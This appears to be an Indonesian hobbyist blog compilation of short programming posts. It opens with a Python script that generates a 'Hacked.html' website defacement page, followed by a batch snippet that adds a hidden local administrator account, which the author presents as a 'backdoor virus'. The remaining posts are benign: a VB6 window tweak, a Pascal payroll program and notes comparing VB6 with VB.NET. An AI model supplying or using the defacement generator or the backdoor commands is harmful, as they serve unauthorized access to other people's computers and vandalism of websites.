ok pasti udah tau kan fungsi nya buat apa :)
save code dibawah dengan creator.py , cara exekusi nya cukup mudah
diwindows : buka cmd lalu masuk ke direktory tempat lo save as skript nya , lalu tinggal exekusi
contoh : lo save di d:\
langsung aja ketik D:\>creator.py
code :
#!/usr/bin/python
mess = """======================================================
----Deface Page Creator----
--==Created By Arjun==--
An Indian Programmer
Jai Hind
======================================================"""
print mess
title = raw_input("Enter the Title : ")
heading = raw_input("Enter the heading : ")
imagelink = raw_input("Enter the image link : ")
bgimage = raw_input("Enter the Background image Link(Optional) : ")
message = raw_input("Enter the message(use <br> for next line) : ")
textcolor = raw_input("Enter the text color : ")
youtubeid = raw_input("Enter the youtube id(Just Enter ID) : ")
#Open a file
fo = open("c:\Hacked.html","w")
messagescript1 = """<HTML><HEAD><TITLE>"""
messagescript2 = title
messagescript3 = """</TITLE></HEAD>
<BODY>
<br>
<BODY BGCOLOR="#000000" background ="""
messagescript4 = bgimage
messagescript5 = """>
<center>
<h1><center><font color=\"red\">"""
messagescript6 = heading
messagescript7 = """<h1></font>
<img src="""
messagescript8 = imagelink
messagescript9 = """ width=550px height=440px>
<body onload="init()"></body>
<body>
<div id="bulle"></div>"""
messagescript10 = """
<script language=\"JavaScript\">
var i=0
var j=0
var texteNE, affiche
var texte=\"<br><br><br><br><br><font color="""
messagescript11 = textcolor
messagescript12 = """ size=4>"""
messagescript13 = message
messagescript14 = """<br><br></font><br></b>\"
var ie = (document.all);
var ne = (document.layers);
function init(){
texteNE='';
machine_a_ecrire();
}
function machine_a_ecrire(){
texteNE=texteNE+texte.charAt(i)
affiche='<font face=verdana size=1 color=#ffffff><strong>'+texteNE+'</strong></font>'
if (texte.charAt(i)=="<") {
j=1
}
if (texte.charAt(i)==">") {
j=0
}
if (j==0) {
if (document.getElementById) { // avec internet explorer
document.getElementById("bulle").innerHTML = affiche;
}
}
if (i<texte.length-1){
i++
setTimeout("machine_a_ecrire()",70)
}
else
return
}
</script><font face="verdana" size="1"><blink><span style="color: rgb(255, 255, 255);"><b><font color=lime size=4></font></b></u></blink><br></font></b>
</body>
<SCRIPT LANGUAGE=\"JavaScript\">
<!-- Disable
function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function (\"return false\")
document.oncontextmenu=new Function (\"return false\")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
//-->
</script>
<!-- DEBUT DU SCRIPT --><style>
.spanstyle {
position:absolute;
visibility:visible;
top:-50px;
font-size:12pt;
font-family:Arial;
font-weight:bold;
color:#0000FF;
}
</style>
<script language=JavaScript>
/*
Cursor Trailor Text- By Peter Gehrig (http://www.24fun.ch/)
SCRIPT EDITE SUR L'EDITEUR JAVASCRIPT
http://www.editeurjavascript.com
URL du script : http://www.editeurjavascript.com/scripts/scripts_textes_1_78.php
*/
var x,y
var step=20
var flag=0
var message='Owned St0x0 '
message=message.split("")
var xpos=new Array()
for (i=0;i<=message.length-1;i++) {
xpos[i]=-50
}
var ypos=new Array()
for (i=0;i<=message.length-1;i++) {
ypos[i]=-50
}
function handlerMM(e){
x = (navigator.appName.substring(0,3) == \"Net\") ? e.pageX : event.x+document.body.scrollLeft;
y = (navigator.appName.substring(0,3) == \"Net\") ? e.pageY : event.y+document.body.scrollTop;
flag=1
}
function makesnake() {
if (flag==1 && document.getElementById) {
for (i=message.length-1; i>=1; i--) {
xpos[i]=xpos[i-1]+step
ypos[i]=ypos[i-1]
}
xpos[0]=x+step
ypos[0]=y
for (i=0; i<message.length-1; i++) {
var thisspan = document.getElementById('span'+(i)).style;
thisspan.left=xpos[i]
thisspan.top=ypos[i]
}
}
var timer=setTimeout(\"makesnake()\",30)
}
</script>
<SCRIPT LANGUAGE="JavaScript">
<!-- Disable
function disableselect(e){
return false
}
function reEnable(){
return true
}
//if IE4+
document.onselectstart=new Function (\"return false\")
document.oncontextmenu=new Function (\"return false\")
//if NS6
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
//-->
</script>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<iframe width="0" height="0" src="http://www.youtube.com/v/"""
messagescript15 = youtubeid
messagescript16 = """&autoplay=1" frameborder="0"></iframe>"""
fo.write(messagescript1)
fo.write(messagescript2)
fo.write(messagescript3)
fo.write(messagescript4)
fo.write(messagescript5)
fo.write(messagescript6)
fo.write(messagescript7)
fo.write(messagescript8)
fo.write(messagescript9)
fo.write(messagescript10)
fo.write(messagescript11)
fo.write(messagescript12)
fo.write(messagescript13)
fo.write(messagescript14)
fo.write(messagescript15)
fo.write(messagescript16)
raw_input("\nPage Created Successfully and saved in c:\Hacked.html");
fo.close()
.thx
oke langsung ajaa , code berikut biasanya gw pakai buat backdoor virus =))
code :
net user Username Password /add
net localgroup administrators Username /add
untuk username dan password , bisa di ganti seterah, contoh :
net user Nanda 123 /add
net localgroup administrators Nanda /add
cara penggunaanya cukup mudah , tinggal lo ketik di cmd / buat di notepad
caranya , paste kan ke notepad lalu save as dengan extensi .bat / .cmd
.thx
ok langsung aja
buka vb > view code
copas code berikut
Private Const GWL_STYLE = (-16)
Private Const WS_MAXIMIZEBOX = &H10000
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Sub Form_Load()Dim lStyle As Long
mendisable maximaze
lStyle = GetWindowLong(Me.hwnd, GWL_STYLE)
lStyle = lStyle And Not WS_MAXIMIZEBOX
Call SetWindowLong(Me.hwnd, GWL_STYLE, lStyle)End Sub
contoh :
langsung aja ni script nya
Uses crt;Type Pegawai = record
NIP : String[9];Nama : String[50];Golongan : Char;Jamkerja : Real;End;
VarData : Pegawai;Gapok : Real;Insentif,Gaber : Real;Ul : Char;Begin
Repeat
Clrscr;
Writeln('Data Pegawai PT. Starlingzer');
Writeln('==========================');
Writeln;
Write('NIP : ');Readln(Data.NIP);
Write('Nama : ');Readln(Data.Nama);
Write('Golongan : ');Readln(Data.Golongan);
Write('Jam Kerja : ');Readln(Data.Jamkerja);
Writeln;
Writeln;
Case Data.Golongan of
'1' : Gapok:=1000000;
'2' : Gapok:=1500000;
'3' : Gapok:=2000000;
Else
Gapok:=0;
End;
if Data.Jamkerja>200 then
Insentif:=(Data.Jamkerja-200)*10000
else
Insentif:=0;
Gaber:=Gapok+Insentif;
Clrscr;
Writeln('Laporan Pegawai');
Writeln('PT.Starlingzer');
Writeln;
Writeln('============================================================================');
Writeln('|NIP | Nama | Golongan | Jam Kerja | Gaji |');
Writeln('============================================================================');
Writeln('|',Data.NIP:10,'|',Data.Nama:25,'|',Data.Golongan:10,'|',Data.Jamkerja:11:0,'|',Gaber:14:2,'|');
Writeln('============================================================================');
Writeln;
Write('Mau Ulang Lagi? [Y/T]: ');Readln(Ul);
Until Upcase(Ul) <> 'Y';End.
Visual Basic versi 6.0 adalah versi terakhir VB sebelum berubah menjadi .Net. Banyak yang bertanya tentang perbedaan antara keduanya. Berikut sekilas perbedaan dan persamaan VB 6.0 dan VB .Net.
- VB6 baru sebagian mendukung OOP. VB .Net telah mendukung penuh OOP.
- Hasil kompilasi source code pada VB6 adalah file .exe biner (native code). VB .Net berupa file .exe intermediate language (MSIL byte code).
- Hasil kompilasi pada VB6 dapat langsung dieksekusi. VB .Net membutuhkan run time environment / framework (.Net framework)
- VB6 bermasalah pada deployment-nya (DLL hell). VB .Net tidak
- Program dari VB6 tidak dapat langsung berinteraksi dengan program dari bahasa lain. VB .Net dapat selama bahasa lain mendukung .Net
- Perintah-perintah dasar pada VB6 dan VB .Net sebagian besar masih sama kecuali untuk perintah-perintah OOP-nya
- Dari sisi IDE-nya, pengetikan kode pada VB.Net lebih cepat dari pada di VB6
- Untuk akses ke database VB.Net menggunakan ADO.Net, VB6 menggunakan ADO. ADO.Net bukan pengembangan dari ADO. Jadi ADO.Net menggunakan teknologi yang berbeda dengan ADO
- Selain itu pada VB.Net 2008, dapat menggunakan LINQ (Language Integrated Query) untuk mempermudah mengaksesan data
ok .... dengan source ini kita bisa memanggil file exe di dalam hardisk....
atau kurang jelas download aja vidio nya
size : 2mban
download : HERE
ok ...langsung aja download vidio tutorial nya
didalam rar ini sudah saya siapkan source code nya juga...mana tau ada yang kurang jelas =))
size : 2 mban
download : HERE
